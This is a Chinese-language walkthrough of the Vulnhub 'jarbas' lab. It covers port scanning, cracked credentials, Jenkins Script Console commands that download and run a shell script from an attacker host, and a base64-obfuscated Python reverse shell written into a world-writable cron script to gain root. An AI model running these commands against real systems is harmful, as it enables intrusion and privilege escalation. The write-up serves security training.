Vulnhub Challenging: jarbas

思路

• 端口扫描, 整理思路
• 80端口, hash
• jenkins, 反弹shell
• crontab错误配置, get root shell

  关键点

• jenkins获取反弹shell
• crontab配置

端口扫描, 整理思路

$ nmap -sS -Pn -p- -A 10.129.10.31

22端口, OpenSSH 7.4 CVE-2018-15473 用户枚举漏洞 搁置
80端口, Web服务 搁置
3306端口, MariaDB(unauthorized) 无远程漏洞 搁置
8080端口, Jetty WEB服务 优先考虑

80端口, hash

访问8080端口, 发现是jenkins服务, 有用户名和密码且非弱密码, 搁置
访问80端口, 发现是一个很乱的站点, dirb扫目录

$ dirb http://10.129.10.31 -x /usr/share/wordlists/dirb/extensions_common.txt

发现access.html文件, 访问之后拿到三个用户名和对应的hash

jenkins, 反弹shell

拿到hash之后, 查询hash对应的明文, 得到三个用户名密码对

tiago:italia99
trindade:marianna
eder:vipsu

构造用户名列表和密码列表爆破ssh和mysql, ssh无可用账号, mysql无法远程连接, 于是尝试登陆jenkins, 成功用eder:vipsu登陆jenkins

登陆jenkins后, 进入Script Console获取反弹shell

$ println "wget http://10.129.10.32/shell.py -O /tmp/shell.py".execute().text
$ println "python /tmp/shell.py".execute().text

拿到反弹shell

crontab错误配置, get root shell

拿到jenkins反弹的shell后, 上传LinEnum.sh, 运行之后发现crontab中存在一个自定义的文件:CleaningScript.sh

查看该文件权限, 发现是777, 于是写入反弹shell

$ echo "python -c \"exec('aW1wb3J0IHNvY2tldCAgICxzdWJwcm9jZXNzICAgLG9zICAgICA7ICAgICAgIGhvc3Q9IjEwLjEyOS4xMC42MiIgICAgIDsgICAgICAgcG9ydD00NDQ0ICAgICA7ICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICxzb2NrZXQuU09DS19TVFJFQU0pICAgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICxwb3J0KSkgICAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLDApICAgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwxKSAgICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsMikgICAgIDsgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp'.decode('base64'))\"" > /etc/script/CleaningScript.sh

等待一段时间后, 拿到root权限的反弹shell

获取flag

$ cat /root/flag.txt